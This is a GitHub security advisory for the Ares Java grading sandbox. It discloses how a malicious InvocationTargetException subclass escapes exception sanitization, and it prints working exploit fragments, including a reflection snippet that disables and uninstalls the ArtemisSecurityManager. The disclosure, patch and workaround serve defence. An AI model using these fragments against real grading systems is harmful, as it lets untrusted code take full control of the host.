Skip to content

Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares

High severity GitHub Reviewed Published Jan 17, 2022 in ls1intum/Ares • Updated Jan 11, 2023

Package

maven de.tum.in.ase:artemis-java-test-sandbox (Maven)

Affected versions

< 1.7.6

Patched versions

1.7.6

Description

Impact

This allows an attacker to create special subclasses of InvocationTargetException that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.

Patches

Update to version 1.7.6 or later.

Workarounds

Forbid student classes in trusted packages like, e.g., described in ls1intum/Ares#15 (comment)

References

Are there any links users can visit to find out more?
Not that I know of.

For more information

If you have any questions or comments about this advisory:

Detailed description

Using generics, it is possible to throw checked exceptions without a throws clause:

ThrowWithoutThrowsHelper
public class ThrowWithoutThrowsHelper<X extends Throwable>
{
    private final X throwable;

    private ThrowWithoutThrowsHelper(X throwable)
    {
        this.throwable = throwable;
    }

    private <R> R throwWithThrows() throws X
    {
        throw throwable;
    }

    public static <R> R throwWithoutThrows(Throwable throwable)
    {
        ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable);
        @SuppressWarnings("unchecked")
        ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper;
        return helperCasted.throwWithThrows();
    }
}

Using this, it is possible for a malicious testee to throw an instance of a malicious subclass of InvocationTargetException (let's call it EvilInvocationTargetException).

This exception is catched by org.junit.platform.commons.util.ReflectionUtils::invokeMethod, which looks like this:

ReflectionUtils::invokeMethod
    public static Object invokeMethod(Method method, Object target, Object... args) {
        Preconditions.notNull(method, "Method must not be null");
        Preconditions.condition((target != null || isStatic(method)),
            () -> String.format("Cannot invoke non-static method [%s] on a null target.", method.toGenericString()));

        try {
            return makeAccessible(method).invoke(target, args);
        }
        catch (Throwable t) {
            throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));
        }
    }

This method calls getUnderlyingCause (of the same class), passing to it the catched, malicious exception as an argument.

ReflectionUtils::getUnderlyingCause
    private static Throwable getUnderlyingCause(Throwable t) {
        if (t instanceof InvocationTargetException) {
            return getUnderlyingCause(((InvocationTargetException) t).getTargetException());
        }
        return t;
    }

getUnderlyingCause in turn checks if the passed exception is instanceof InvocationTargetException, and if so, calls getTargetException on it. getTargetException can be overridden by subclasses of InvocationTargetException, like the EvilInvocationTargetException.
If EvilInvocationTargetException is in a whitelisted package (for example de.tum.in.test.api.security.notsealedsubpackage), getTargetException will be called with the entire stack containing only whitelisted frames.
This allows the attacker to uninstall the ArtemisSecurityManager in EvilInvocationTargetException::getTargetException:

Uninstalling ArtemisSecurityManager
SecurityManager secman = System.getSecurityManager();
Class<?> aresSecmanClass = secman.getClass();
Field isPartlyDisabledF = aresSecmanClass.getDeclaredField("isPartlyDisabled");
isPartlyDisabledF.setAccessible(true);
isPartlyDisabledF.set(secman, true);
System.setSecurityManager(null);

After uninstalling ArtemisSecurityManager, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.

References

@MaisiKoleni MaisiKoleni published to ls1intum/Ares Jan 17, 2022
Reviewed Jan 18, 2022
Published to the GitHub Advisory Database Jan 21, 2022
Last updated Jan 11, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Weaknesses

No CWEs

CVE ID

No known CVE

GHSA ID

GHSA-883x-6fch-6wjx

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.